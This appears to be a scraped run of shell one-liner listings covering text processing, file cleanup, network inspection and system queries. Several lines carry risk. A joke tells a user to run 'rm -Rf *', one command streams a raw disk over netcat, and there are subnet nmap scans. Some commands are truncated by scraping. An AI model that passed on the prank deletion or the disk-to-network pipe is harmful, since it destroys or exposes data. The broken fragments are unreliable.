\{\} \; | grep Modify: | awk '{a[$2]++}END{for(i in a){print i " : " a[i] }}' | sort Functions: awk find grep stat Count files created by date/modification today=`date +%d`; ls -ltr | rm -f `nawk -v _today=$today '{ if($5 != 0 && $7 < _today) { print $9 } }'` Functions: ls rm deleter awk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n";}' LS=`env printf '\u2028'` 'Ad report.tsv' collapse first five fields of Google Adwords export .tsv file into a single field, for gnumeric The exported TSV file of Google Adwords' first five columns are text, they usually should collapse into one cell, a multi-line text cell, but there is no guaranteed way to represent line-break within cells for .tsv file format, thus Google split it to 5 columns. The problem is, with 5 columns of text, there are hardly space to put additional fields while maintain printable output. This script collapses the first five columns of each row into one single multi-line text cell. new line character we use Line-Separator character (unicode U+2028), which is respected by gnumeric. It outputs a new .tsv file that opens in gnumeric. fn=$(find . -type f -printf "%T@\t%p\n"|sort -n|tail -1|cut -f2); echo $(date -r "$fn") "$fn" Functions: cut date echo find sort tail Hunt for the newest file. pwd | tr -d '\n' | xsel -b Functions: pwd tr Copy current/working directory to clipboard ctrl+v to see the result. ps -eo rss,vsz,pid,cputime,cmd --width 100 --sort rss,vsz | tail --lines 10 11576 286632 21435 00:00:00 /usr/lib/chromium-browser/chromium-browser --type=zygote 12408 85576 1976 00:00:23 /usr/sbin/sensord -f daemon 12684 271056 21433 00:00:01 /usr/lib/chromium-browser/chromium-browser 14004 351984 3667 00:49:28 transmission 32896 430588 21472 00:58:49 /usr/lib/chromium-browser/chromium-browser --type=plugin --plugin-path=/ 46172 524200 21427 00:29:39 /usr/lib/chromium-browser/chromium-browser 64136 254288 26976 00:07:54 emacs 110132 656312 2654 00:20:56 x-terminal-emulator 169184 1046048 21468 00:03:40 /usr/lib/chromium-browser/chromium-browser --type=renderer --lang=en-U 200040 299020 1885 09:35:08 /usr/bin/X :0 vt7 -nolisten tcp -auth /var/lib/xdm/authdir/authfiles/A:0 Functions: ps tail A pretty nice display of processes. ‹ First < 197 198 199 200 201 > Last › curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>//g;//dev/null | sed -e :a -e 's/<[^>]*>//g;/ DefeatedIn2010.txt #Fills a file called "DefeatedIn2010.txt" with the name of every member of congress. Print all members of US House of Representatives Uses curl to download page of membership of US Congress. Use sed to strip HTML then perl to print a line starting with two tabs (a line with a representative) alias nbtstat='nmblookup -S -U -R' $ nbtstat bradyr querying bradyr on x.x.x.x y.y.y.y bradyr<00> Looking up status of y.y.y.y simple nbtstat -a equivalent/alias for linux (uses nmblookup) it's a mixed environment where I work, and since we still use WINS services, this is often a quick and dirty way for me to obtain a mac-address for a hostname. please note that nmblookup is part of the samba suite. Just another one of those nearly useless commands that is super cool when and only when you need it. To compact all SQLite databases in your home directory for file in *.mp4; do mv "$file" "${file%.*} [$(cksfv -b -q "$file" | egrep -o "\b[A-F0-9]{8}\b$")].${file#*.}"; done Video 01.mp4 -> Video 01 [A317C812].mp4 Video 02.mp4 -> Video 02 [C8E3551B].mp4 Video 03.mp4 -> Video 03 [D2F5E37A].mp4 Functions: file mv Add crc32 checksum in the filenames of all mp4 Rename all mp4 files with crc32 information. sysctl -w vm.drop_caches=3 mkdir * $pwd /home/namakukingkong/ $mkdir * and then remove directory "*" $rm -Rf * blank :P Just kidding for you For remove "*" you can try: rm -Rf \* comm -13 <(od -vw1 -tu1 dummy.txt|cut -c9-|sort -u) <(seq 0 127|sort)|perl -pe '$_=chr($_)'|od -c 0000000 \0 001 \n j k \v \f z { | } ~ 177 \r 016 017 0000020 020 021 022 023 002 024 025 026 027 030 031 032 033 034 035 003 0000040 036 037 ! " # $ % & ' 004 ( ) * + , 0000060 - . / 0 1 005 2 3 4 5 6 7 8 9 : ; 0000100 006 < = > ? @ A B C D E \a F G H I 0000120 J K L M N O \b P Q R S T U V W X 0000140 Y \t Z [ \ ] ^ _ ` a b c 0000154 Functions: comm cut od perl seq sort Search in decimal rather than hex. od dumps the character list, cut to remove offsets, sort -u gives the used characters. seq gives the comparison list, but we need this sorted alphabetically for comm, which does the filtering. I drop to perl to convert back to characters (is there a better way?) and then use od to dump them in a print-safe format. ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }' 190.285 Sum using awk This command will show you amount of memory used by apache awk 'BEGIN{IGNORECASE=1;FS="|";RS=EOF} {print $2}' | sed '/^$/d' > file.html previous version leaves lots of blank lines lsof -nP -c COMMAND | egrep -o '(TCP|UDP).*$' | sort -u $ lsof -nP -c apache2 | egrep -o 'TCP.*$' | sort -u TCP 192.168.0.2:443->192.168.0.136:3373 (ESTABLISHED) TCP 192.168.0.2:443->192.168.0.137:11127 (ESTABLISHED) TCP 192.168.0.2:443->192.168.0.137:11153 (ESTABLISHED) TCP *:443 (LISTEN) TCP *:80 (LISTEN) $ lsof -p 17279|egrep -o '(TCP|UDP).*$' TCP 127.0.0.1:32434 (LISTEN) UDP *:32435 Where COMMAND is the process(es) name. I prefer to get all states but you may add ESTABLISHED in the grep regex. lsof -c apache2 | egrep -o 'TCP.*ESTABLISHED.*$' -nP flags are optional and UDP is irrelevant for established connections Similar but using the process id: lsof -nP -p PID | egrep -o '(TCP|UDP).*$' read -t 0.1 -N 255 flush stdin in bash expandurl() { wget -S $1 2>&1 | grep ^Location; } This shell function uses wget(1) to show what site a shortened URL is pointing to, even if there are many nested shortened URLs. This is a great way to test whether or not the shortened URL is sending you to a malicious site, or somewhere nasty that you don't want to visit. The sample output is from: lsof -nPi tcp:80 nmap -sP your network/submask | awk "/^Host/"'{ print $2 }' 192.168.0.10 192.168.0.44 192.168.0.67 This command will display only the hosts that are active in the network. lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D The only letter not appearing on the Periodic Table is the letter "J". This is a working version, though probably clumsy, of the script submitted by felix001. This works on ubuntu and CygWin. This would be great as a bash function, defined in .bashrc. Additionally it would work as a script put in the path. wget http://cmyip.com -O - -o /dev/null | grep -Po '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' 213.230.126.174 External IP address netstat -lnptu Active Internet connections (only servers) find . -type d -name 'CVS' -exec rm -r {} \; remove all CVS directories grep -rlZ oldstring . | xargs -0 sed -i -e 's/oldstring/newstring/' Using -Z with grep and -0 with xargs handles file names with spaces and special characters. for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.mp3" -ab 128K; done Convert wma to mp3@128k Convert all wma to mp3@128k with ffmpeg into directory. dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P Functions: awk grep sudo xargs iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e 's#^[[:space:]]*\(Mode:.*\)$#\1\n#p' Quality=34/70 Signal level=-76 dBm Encryption key:on ESSID:"foobar" Mode:Master Quality=36/70 Signal level=-74 dBm ESSID:"WLAN-007AE3210EFF" Cleanly list available wireless networks (using iwlist) It makes sense to make this a very simple shell function, replacing the iwlist call with something like: iwlist "${1:-wlan0}" # append pipe etc. This makes wlan0 the default if the function receives no arguments. ssh root@HOST tcpdump -iany -U -s0 -w - 'not port 22' | wireshark -k -i - wireshark launches When using tcpdump, specify -U option to prevent buffering and -iany to see all interfaces. for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done Zip all subdirectories into zipfiles Creates a zip file out of each subdirectory in a directory. Great if you have 40 000+ text files in folders, and you want to stick it in SVN without the hours of uploading while retaining some level of version control. declare -F | sed 's/^declare -f //' ‹ First < 198 199 200 201 202 > Last › xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^ XX.XX.XX.XX HTTP GET /xxxxx/ HTTP/xxxxx.1 http.request.uri == "/xxxxx/" 14.362057 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.css HTTP/xxxxx.1 http.request.uri == "/xxxxx.css" 14.512157 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.css HTTP/xxxxx.1 http.request.uri == "/xxxxx.css" 14.527458 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.css HTTP/xxxxx.1 http.request.uri == "/xxxxx.css" 23.481113 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.jpg HTTP/xxxxx.1 http.request.uri == "/xxxxx.jpg" 23.481165 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.jpg HTTP/xxxxx.1 http.request.uri == "/xxxxx.jpg" 23.481179 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.jpg HTTP/xxxxx.1 http.request.uri == "/xxxxx.jpg" 23.631256 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.jpg HTTP/xxxxx.1 http.request.uri == "/xxxxx.jpg" 23.636404 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.gif HTTP/xxxxx.1 http.request.uri == "/xxxxx.gif" 23.646674 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.jpg HTTP/xxxxx.1 http.request.uri == "/xxxxx.jpg" 23.657191 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx/ HTTP/xxxxx.1 http.request.uri == "/xxxxx/" 23.672339 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.jpg HTTP/xxxxx.1 http.request.uri == "/xxxxx.jpg" 23.681375 XX.XX.XX.XX -> XX.XX.XX.XX HTTP GET /xxxxx.png HTTP/xxxxx.1 http.request.uri == "/xxxxx.png" 39.723847 XX.XX.XX.XX -> XX.XX.XX.XX HTTP POST /xxxxx/getxredirectxhost HTTP/xxxxx.1 (application/octet-stream) http.request.uri == "/xxxxx/getxredirectxhost" trace http requests with tshark trace http requests on the specified interface. uses the amazing tshark tool (http://www.wireshark.org/docs/man-pages/tshark.html) chkconfig -a | grep 'mysql' Functions: chkconfig grep check the server mysql status system_profiler SPApplicationsDataType | perl -nl -e '@al=<>; $c=@al; while($j<$c){ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\s\s\s\s\S.*:$/; $j++} while($k<$i){ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}' Find all PowerPC applications on OS X This finds all the PowerPC apps recognized by OS X. A better version is: system_profiler SPApplicationsDataType 2> /dev/null | perl - wnl -e '$i=$j=$k=$p=0; @al=; $c=@al; while($j s[$i].=$al[$j]; $i++ if ($al[$j]) =~ /^\s\s\s\s\S.*:$/; $j++} while($k apps[$k++]; if (/Kind: PowerPC/s) {print; $p++;}} print "$i applications, $p P owerPC applications\n\n"' but that is more than 255 characters... grep -H -n "pattern" * Find in all files in the current directory, just a find shorthand if its the current directory, no need find command. just grep will do rm *[!abc] Bash method to remove all files but "abc". It would be 'rm *~abc' in Zsh. for i in *; do mv -vi "$i" "`echo "$i"|sed y/????????????????????????/AAAAEEIOOUUCaaaaeeioouuc/`"; done; sync Remove acentuation from file names in a directory. mencoder input_file -o output_file -oac mp3lame -lameopts cbr:br=32 -ofps 30 -vf harddup -ovc xvid -xvidencopts fixed_quant=3 mencoder convert video to xvid gem env Enumerate rubygems environment sed -n -e '1,/match/p' luit -encoding gbk telnet bbs.sysu.edu.cn bbs in utf8 console pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u bob@mon01:/export/home/bob/carpet$ pkg search ruby | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u PACKAGE SUNWDTraceToolkit SUNWjruby SUNWlibnb-ruby1 SUNWnetbeans-ruby SUNWruby18 SUNWswig libnb-ruby netbeans netbeans-ruby ruby-dev Search OpenSolaris packages and show only the pkg names From there, just pkg install the package you need. w=`whereis | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/.*is owned by \([[:alpha:]]\+\).*/\1/'`; pacman -Ql $p | grep 'bin' $ w=`whereis skill | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/.*is owned by \([[:alpha:]]\+\).*/\1/'`; pacman -Ql $p | grep 'bin' procps /bin/ procps /bin/kill procps /bin/ps procps /sbin/ procps /sbin/sysctl procps /usr/bin/ procps /usr/bin/free procps /usr/bin/pgrep procps /usr/bin/pkill procps /usr/bin/pmap procps /usr/bin/pwdx procps /usr/bin/skill procps /usr/bin/slabtop procps /usr/bin/snice procps /usr/bin/tload procps /usr/bin/top procps /usr/bin/uptime procps /usr/bin/vmstat procps /usr/bin/w procps /usr/bin/watch Sometimes when I find a new cool command I want to know: 1.- which package owns it, and 2.- are there any other cool commands provided by this package? Since I don't necessarily need to know always both, I don't use this version, but I bundle it into two separate functions: # get command package owner # it can work without the full path, but sometimes fails, so better to provide it with whereis command owner () { pacman -Qo `whereis $1 | awk '{print $2}'` whatelse () { package=`owner ${1} | sed -e 's/.*is owned by \([[:alpha:]]\+\).*/\1/'` pacman -Ql $package | grep 'bin' wc -L files svn stat | grep "^\?" | awk '{ print "svn add " $2 }' | bash Functions: awk grep stat zcat log.tar.gz | grep -a -i "string" Functions: grep zcat grep compressed log files without extracting Useful in system where log files are compressed for archival purposes expandurl() { curl -sIL $1 2>&1 | awk '/^Location/ {print $2}' | tail -n1; } https://wiki.ubuntu.com/UbuntuOpenWeek This shell function uses curl(1) as it is more portable than wget(1) across Unices, to show what site a shortened URL is pointing to, even if there are many nested shortened URLs. It is a refinement to www.commandlinefu.com/commands/view/9515/expand-shortened-urls to make it better for use in scripts. Only displays final result. while read; do mysqldump $REPLY | gzip > "/backup/mysql/$REPLY.sql.gz"; done < <( mysql -e 'show databases' -s --skip-column-names ) just better bash for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp; done; vim temp Functions: cut echo vim List encoding of ? in all avalible char sets If you have some textfile with an unknown encoding you can use this list to find out ls *tgz | xargs -n1 tar xzf Functions: ls tar xargs extract all tgz in current dir svn diff -r 1792:HEAD --summarize | awk '{if ($1 != "D") print $2}'| xargs -I {} tar rf incremental_release.tar {} Functions: awk diff tar xargs Create a tar of modified/added files since revision 1792. The result of this command is a tar with all files that have been modified/added since revision 1792 until HEAD. This command is super useful for incremental releases. curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" > hello.mp3 Sends a string to google tranlator, which converts it to English speech. It's possible to create a nice script to do the job for us, such as #!/bin'bash curl -A "Mozilla" " /tmp/speak.mp3 mplayer /tmp/speak.mp3 # dmidecode --type 9 # dmidecode 2.7 Handle 0x000E, DMI type 9, 13 bytes. System Slot Information Handle 0x000F, DMI type 9, 13 bytes. Handle 0x0010, DMI type 9, 13 bytes. Handle 0x0011, DMI type 9, 13 bytes. Handle 0x0012, DMI type 9, 13 bytes. From here: http://www.cyberciti.biz/tips/querying-dumping-bios-from-linux-command-prompt.html Man page: http://linux.die.net/man/8/dmidecode cat /etc/passwd | grep "bash" | cut -d: -f1 Functions: cat cut grep List all username for accounts using bash shell alias xdef_load='xrdb -merge ~/.Xdefaults' Reads in the ~/.Xdefaults Reads in the ~/.Xdefaults lexicographically sorted with, instead of replacing, the current contents of the specified properties. ‹ First < 199 200 201 202 203 > Last › pgrep -fl [h]ttpd cat /dev/hda|netcat -q 0 192.168.1.2 9100 Print out your hard drive to a jet-direct compatible printer. Where 192.168.1.2 is a printer with jet-direct. No, I don't suggest this as a backup method. # dmidecode --type 0 Handle 0x0000, DMI type 0, 24 bytes. BIOS Information Find out Information about BIOS Get a list of user accounts and their login shell spool:/bin/bash sshd:/bin/bash fantasti:/usr/local/cpanel/bin/jailshell munin:/bin/bash Functions: login cat /etc/passwd | egrep -v "noshell|false|nologin" | cut -d: -f1,7 List usernames & their assigned shell. If their home directory is in /home and excepting those account that have their login shell set to: noshell, false, nologin ncat -l -p 1234 --sh-exec "tee -a to.log | nc machine port | tee -a from.log" This will handle multiple incoming connections. Also, found sed works best with -u flag (unbuffered io). Easiest way I've found to get ncat is to install nmap. echo "6d5967306474686924697344406b3379" | xxd -r -p mYg0dthi$isD@k3y Here's a super simple one liner that could have gotten our team 300 points! #facepalm! find -name "*." -exec wc -l "{}" \; | sort -n | tail 45 ./src/foo/bar/Foobar.java Find the source file which contains most number of lines in your workspace :) set $(ps -e o command= | grep "^/usr/bin/X "); while [ x"$1" != x"-auth" ]; do shift; done; sudo x11vnc -display :0 -auth "$2" Functions: grep ps set sudo start a vnc server session to connect to a gdm login screen ps itself is replaced with a new command pgrep. man pgrep for more goodies. (sp-sc sop://broker.sopcast.com:3912/80562 8908 10999 &>/dev/null &); sleep 10; wait $(vlc http://localhost:10999); killall sp-sc Functions: killall sleep wait requires sp-auth installed This command will auto kill sp-sc after vlc is closed, so u wont have to do it manually sdiff <(ls /) <(ls /usr) bin bin boot | games cdrom | include core < dev < etc < home < initrd.img < lib lib lost+found | lib64 media | local mnt < opt < proc < root < sbin sbin selinux | share srv | src sys < tmp < usr < var < vmlinuz < Functions: ls sdiff compare the contents of two directories svn st | grep '^?' | sed -e 's/\?[[:space:]]*//' | tr '\n' '\0' | xargs -0 svn add Functions: grep sed tr xargs /usr/sbin/dmidecode | perl -lne 'print $1 if /Current\s+Speed:\s+(\d+\s+MHz)/' for D in `mount -lt cifs | sed 's/.*on \(\/.\+\) type.*/\1/'`; do echo -n "UNMOUNTING $D..."; sudo umount $D; echo " [DONE]"; done; UNMOUNTING /home/danf/gmounts/G... [DONE] UNMOUNTING /home/danf/gmounts/H... [DONE] UNMOUNTING /home/danf/gmounts/N... [DONE] Functions: echo sed sudo umount Unmount all CIFS drives Unmounts all CIFS-based network drives. Very nice for shutting down network mounts on a Linux laptop just prior to going to sleep. find / -name '*android*' 2>errors.txt Simple find Just search the root of the file hierarchy for matches for a text string. Send errors to a file rather than stdout. nmap -O 192.168.1.1/24 Scan computers OS and open services on all network perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt $ perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt 34 42 48 14 51 44 46 41 39 12 3 28 4 22 20 35 29 16 21 27 13 6 26 1 30 8 47 32 2 45 11 19 37 23 31 18 7 38 25 15 50 5 49 40 43 36 9 33 24 17 Functions: join perl print the lines of a file in randomized order 7z e *.zip -r testresult -so >> testresult.txt ...... Processing archive: SYSMON_20110221052516_v8.0_1135.zip Extracting _va_20110221052516\testresult Everything is Ok Processing archive: WRS_20110220200530_v8.0_1135.zip Extracting _va_20110220200530\testresult Processing archive: WRS_20110221070952_v8.0_1135.zip Extracting _va_20110221070952\testresult Archives: 47 Files: 47 Compressed: 252666 Unzip testresult file from all zip-files and merge them into one testresult file. This is for automation QA when collecting a great number of automation test result. diff -U99999 original.css modified.css | awk '/^-/{next} {f=f"\n"$0} /^\+.*[^ ]/{yes=1} /}/ {if(yes){print f} f="";yes=0}' @@ -1,1324 +1,1427 @@ /* =Layout -------------------------------------------------------------- */ /* LAYOUT: Two columns DESCRIPTION: Two-column fixed layout with one sidebar right of content #container { + margin: 0 -240px 0 38px; } #content { + margin: 0 250px 0 0px; Functions: awk diff diff two css files to create an overriding css (e.g. for wordpress child themes) This will extract the differing CSS entries of two files. I've left the initial character (plus or space) in output to show the real differing line, remove the initial character to get a working CSS file. The output CSS file is usable by either adding it in a below the to original.css, or by only using the output but adding @import url("original.css"); in the beginning. This is very useful for converting Wordpress theme copies into real Wordpress child themes. Could exclude common lines within entries too, I guess, but that might not be worth the complexity. df -kFufs Show all local disk and UFS mounts on Solaris Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l jaymz@bowser:~/Desktop/tmp$ Q="reddit"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l 32159 Functions: awk egrep wc Count how many times a certain referer appears in your apache log I use this (well I normally just drop the F=*.log bit and put that straight into the awk command) to count how many times I get referred from another site. I know its rough, its to give me an idea where any posts I make are ending up. The reason I do the Q="query" bit is because I often want to check another domain quickly and its quick to use CTRL+A to jump to the start and then CTRL+F to move forward the 3 steps to change the grep query. (I find this easier than moving backwards because if you group a lot of domains with the pipe your command line can get quite messy so its normally easier to have it all at the front so you just have to edit it & hit enter). For people new to the shell it does the following. The Q and F equals bits just make names we can refer to. The awk -F\" '{print $4}' $F reads the file specified by $F and splits it up using double-quotes. It prints out the fourth column for egrep to work on. The 4th column in the log is the referer domain. egrep then matches our query against this list from awk. Finally wc -l gives us the total number of lines (i.e. matches). cat testfile | hexdump -C Functions: cat hexdump Hexadecimal dump of a file, pipe, or anything find / -type f -name *.tar.gz -size +10M -exec ls -l {} \; How to delete all the archive files with extension *.tar.gz and greater than 10MB? Please be careful while executing the following command as you don?t want to delete the files by mistake. The best practice is to execute the same command with ls ?l to make sure you know which files will get deleted when you execute the command with rm. find . ! -size 0c -mtime +1 -type f -delete Alternate version: Delete all files older than one day, with a filesize other than 0 bytes starting from the current working directory. Remove the -delete parameter to see which files it would delete xargs < [inputfile] [root@server ~]# xargs < removehtml.txt xargs: unmatched double quote; by default quotes are special to xargs unless you use the -0 option In order to configure an WIndows 2008 R2 Server you will need to make a number of changes to the registry. This tutorial will show you both the settings for configuring the NTP Server in addition to the settings for the clients.

    Remove new lines --- www.fir3net.com --- ‹ First < 200 201 202 203 204 > Last › se(){ while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ;} # usage: se pattern # use in place of sed /pat/!d where RE are overkill Functions: read sed sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing) POSIX requires this "string truncating" functionality. might as well use it, at least for very small tasks where invoking sed and using RE is overkill. git branch | cut -c3- | grep -v "^master$" | while read line; do git branch -d $line; done | grep 'Deleted branch' | awk '{print $3;}' | while read line; do git push :$line; done Functions: awk cut grep read delete local *and* remote git repos if merged into local master attempts to delete all local branches. git will fail on any branches not fully merged into local master, so don't worry about losing work. git will return the names of any successfully deleted branches. Find those in the output with grep, then push null repositories to the corresponding names to your target remote. assumes: - your local and remote branches are identically named, and there's nothing extra in the remote branch that you still want - EDIT: you want to keep your local master branch svn log | perl -pe 's/\n//g => s/^-.*/\n/g' dirrrty: use -p to chomp automatically, substitute all newlines away and then replace the "---" by a newline ? bingo! s/// => s/// is just a cooler way to write s///, s/// which is just the small brother of s///; s/// (comma is an operator!) have fun! agrep -2 differentially README.txt Approximate grep for finding typos To install in Ububtu: "sudo apt-get install agrep" echo '' | xmllint --format - Prettify XML in pipeline xmllint2 comes with GNU libxml2 library. (based on: http://vim.wikia.com/wiki/Format_your_xml_document_using_xmllint) recode UTF8..UTF-16LE linux-utf8-file.txt Convert file from UTF8 (no BOM) to UTF16 (with BOM) Convert file from the UTF8 encoding used on Linux (has no "EF BB BF" byte order mark at the start) to the UTF-16 encoding used on Windows (has an "FF FE" byte order mark at the start). Thanks to commenter: previous iconv command was the obsolete way to do it. for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done This will download all the phracks! Enjoy! ack --pager='less -r' find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m%Y'_archive.tar` How to archive all the files that are not modified in the last x number of days? The following command finds all the files not modified in the last 5 days under /protocollo/paflow directory and creates an archive files under /var/dump-protocollo in the format of ddmmyyyy_archive.tar TZ="$tz_dest" date -d "$(TZ="$tz_orig" date -d "$tm")" Timezone conversions (eg: what time was @tz_dest when it was $tm @tz_orig) let NOW=`date +%s`/86400 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f3` ; PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5`; DAYS_LEFT=$(( PASS_LAST_CHANGE + PASS_LIFE - NOW)) ; echo $DAYS_LEFT 99516 The lastter one means that the password never expire. This works only with GNU date. In solaris the command: doesn't work. You can try using the following instead: nawk 'BEGIN {print srand()}' should give the same output as date +%s under Solaris. perl -ple 'BEGIN { $\ = "\r\n" }' Let -p do it's voodoo and do absolutely nothing but set the output record separator :-) cal | grep -C7 --color=auto $(date +%d) prettier Slightly shorter to type To get the latest information on rpm packages fmiss() { grep -cR "$*" * | grep -E ':0$' | cut -d: -f1 ; } When working with a set of files, I often want to see the files I have yet to process. This function gets a list of files that does not contain a pattern. This pattern is usual a marker or finger print in files that have been fixed. It's sister function is: fhit() { grep -cR "$*" * | grep -vE ':0$' | cut -d: -f1 ; } which lists files that do have a line that matches the pattern. pstree -p Shows a less detailed output, made only of the process tree and their pids. sudo find /usr/share/hunspell/ -lname '*' -delete When you right click a text box in Firefox and you have installed a few dictionaries you'll see a loooong list of spellcheckers. Most of them are duplicated (symlinks). This command deletes de duplicates and reduces the list. du . -mak|sort -n|tail -10 du -m option to not go across mounts (you usually want to run that command to find what to destroy in that partition) -a option to also list . files -k to display in kilobytes sort -n to sort in numerical order, biggest files last tail -10 to only display biggest 10 mydir(){mkdir -p $1 && cd $1} Make it a reusable function and add the -p flag to mkdir to create directories recursively usage: mydir some/dir/to/create date -d "$(uptime | awk '{gsub(/,/,"",$3);gsub(/:/," hours ",$3); print "- " $3 " minutes"}')" Get the time and date of the last server reboot find . -type f -exec awk '/linux/ { printf "%s %s: %s\n",FILENAME,NR,$0; }' {} \; Functions: awk find printf Rekursive Grep on Solaris or AIX Systems without GNU egrep -r funcionality gsettings set org.gnome.desktop.background show-desktop-icons true rpm -qa --qf '%{name}' To get the different name field nformation on rpm packages /originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh Functions: sudo tr xargs Migrate gems from one ruby installation to another gemInst.sh: if [ "$1" != "$i" ] echo /newInstall/gem install $1 -v=\"$i\" /newInstall/gem install $1 -v="$i" if [ "$?" != "0" ] echo -e "\n\nGEM INSTALL ERROR: $1\n\n" echo "$1" > gemInst.err | perl -n -e 'print "$_" if 1 ... //;' Functions: command perl This command line will display the output of , from the first line of output, until the first time it sees a pattern matching . You could specify the regex pattern /^$/ to look for the first blank line, or /^foobar/ to look for the first line that starts with the word foobar. ‹ First < 201 202 203 204 205 > Last › find . -name .svn -exec rm -r {} +; for f in $(find /path/to/base -type f | grep -vw CVS); do grep -Hn PATTERN $f; done Search for a pattern across files in a code base (leaving out CVS directories) I use this sometimes when ctags won't help. find -type f -printf "%S\t%p\n" 2>/dev/null | gawk '{if ($1 < 1.0) print $1 $2}' Functions: find gawk find sparse files Prints the path/filename and sparseness of any sparse files (files that use less actual space than their total size because the filesystem treats large blocks of 00 bytes efficiently). last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp To get how many users logged in and logged out and how many times ? while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done; You can decrease/increase the bright numbers modifying the $h variable , a higher number less brightness Another wall matrix :) ssh tomcat-server ls -l webapp-dir | grep -- '->' | awk ' { print $(NF-2) " " $(NF-1) " " $NF; }' Functions: awk grep ls ssh list tomcat webapps Tomcat webapps are often remote links curl -s -A "Mozilla" "http://translate.google.com.br/translate_a/t?client=t&text=Hi+world&hl=pt-BR&sl=en&tl=pt&multires=1&ssel=0&tsel=0&sc=1" | awk -F'"' '{print $2}' oi mundo Translates a phrase from English to Portuguese Translates a string from English to Portuguese by using google translator web service. reboot system boot 2.6.40.4-5.fc15. Fri Sep 30 10:40 - 09:41 (19+23:00) - shorter - more readable MANWIDTH=70 man 7 man Limit characters per line when viewing manual pages. Typographically speaking, it's generally the [accepted wisdom][1] that about 60 characters per line makes for optimal reading (would that more Web pages followed this convention!). I know I got tired of reading manpages with text as wide as my screen! However, the command above sets manwidth to 70 rather than 60 because paragraphs in manpages are generally indented. I recommend the following snippet for your .${SHELL}rc, which sets manwidth to 70 unless your terminal is smaller than 70 characters: function man () { if [[ $COLUMNS -gt 70 ]]; then MANWIDTH=70 command man $* command man $* [1]: https://en.wikipedia.org/wiki/Column_(typography) last | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}' Functions: awk last to get how many users logged in and logged out and how many times purely using awk | perl -pe '/ 11086128502 7707822 1b0dux http://twitpic.com/1b0dux This CLI aims at uploaded a image file (PNG, JPEG, GIF...) to the Web 2.0 Twitpic service (http://twitpic.com/). A valid Twitter account is needed. svn pe svn:ignore . curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" | play -t mp3 - mpc clear && mpc add http://twit.am:80/listen && mpc play volume: 44% repeat: off random: off adding: http://twit.am:80/listen http://twit.am:80/listen [playing] #1/1 0:00/0:00 (100%) Functions: clear Listen to TWiT with mpd/mpc This will clear the current playlist. Almost exactly same command can be used with xmms2: xmms2 clear && xmms2 add http://twit.am:80/listen && xmms2 play find -type f -size +0 -mtime +1 -print0|xargs -0r rm -f Delete all non empty files older than 1 day. sudo mdutil -a -i off Indexing disabled. To re enable just change the "off" for "on" sort_csn () { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; } $ sort_csn () { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; } $ sort_csn 443,22,80,8200,1533,21,1723,1352,25 21,22,25,80,443,1352,1533,1723,8200 Functions: awk echo sed sort sort a list of comma separated numbers: sort_csn "sort_csn" is a function to sort a comma separated list of numbers. Use the function like this: sort_csn 443,22,80,8200,1533,21,1723,1352,25 One example where this is useful is when port scanning with nmap and getting a list of open ports in random order. If you use Nessus, you may need to create a scan policy for 